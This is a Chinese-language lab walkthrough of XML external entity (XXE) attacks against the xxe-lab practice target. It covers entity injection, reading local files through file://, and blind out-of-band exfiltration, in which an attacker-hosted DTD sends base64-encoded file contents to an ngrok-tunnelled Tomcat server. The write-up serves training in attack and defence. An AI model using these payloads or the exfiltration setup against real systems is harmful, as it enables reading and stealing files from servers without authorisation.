文章说明:
文章为山丘安全攻防实验室成员:O8原创
文章仅用于攻防技术学习,请勿用于非法用途
靶机环境
靶机地址:https://github.com/c0ny1/xxe-lab
搭建平台:VM、windows7、xampp
靶机IP:192.168.0.133
搭建说明:安装xampp后,htdocs目录放入靶机项目,然后开启apache、mysql访问即可
访问 http://192.168.0.133:8081/php_xxe/ (注意我这里是改了端口的)
IP:192.168.0.165
操作系统:windows10
本次实验用到的工具:BurpSite、tomcat7、ngrok
访问 http://192.168.0.133:8081/php_xxe/ 随意输入帐户名密码进行抓包
头部信息:Accept: application/xml, text/xml, */*;
尝试解析xxe
POC:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe "Hacking">
]>
<user><username>&xxe;</username><password>123123</password></user>
代码被解析,尝试任意文件读取
POC:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c:/Windows/win.ini">
]>
<user><username>&xxe;</username><password>123123</password></user>
文件被正常读取 总结:攻击用到了file协议进行文件读取
环境搭建
有外网服务器的同学忽略这一步
不(我)想(没)用(有)外部服务器,就自己在攻击机上面搭建一个服务器,用于接收数据
说明:需要一个客户端转发内网地址到外网,从而实现穷屌接收数据的伟大梦想
环境:
tomcat7、ngrok、假设没有回显
在ngrok注册一个账号:https://www.ngrok.cc/
创建免费ngrok的http服务
注册成功后选择开通隧道–免费中国香港主机
选择http协议、隧道名称和前置域名填你自己的就行了
然后点击隧道管理,需要记录的是隧道ID和赠送域名
客户端下载地址:https://www.ngrok.cc/download.html
根据你的操作系统选择对应的客户端。
本地搭建tomcat服务器
下载tomcat、然后修改/conf/server.xml
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="localhost_access_log." suffix=".txt"
pattern='%h %p %H %l %u %t "%r" params={%{post}r} %s %bbytes %Dms' />
修改你在创建ngrok时的端口(tomcat默认80)
port="8998" 是我自己修改的http端口
<Connector port="8998" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
启动tomcat ./bin/startup.bat
运行 Sunny-Ngrok启动工具.bat 然后填入刚开始记录的隧道id,点击回车
访问你自己的域名,出现tomcat说明环境搭建好了
第一步: 攻击者服务器建立O8.dtd并放入tomcat \webapps\ROOT\中
POC:
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://o8.free.idcfengye.com/?%file;'>"
>
%all;
第二步:攻击机中发送恶意XXE代码到攻击者服务器
POC:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/Windows/win.ini">
<!ENTITY % dtd SYSTEM "http://o8.free.idcfengye.com/O8.dtd">
%dtd;
%send;
]>
攻击者服务器tomcat运行着O8.dtd
抓包发送恶意XXE代码
攻击者服务器收到请求并将外带读取数据写入log文件
将带过来数据bash64解密
参考文献
https://mp.weixin.qq.com/s/VWofHp5lJLYnbw01copnkw
https://www.freebuf.com/vuls/194112.html
https://cloud.tencent.com/developer/article/1472487
https://www.secpulse.com/archives/850.html
https://www.secpulse.com/archives/6392.html
https://www.secpulse.com/archives/6256.html
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有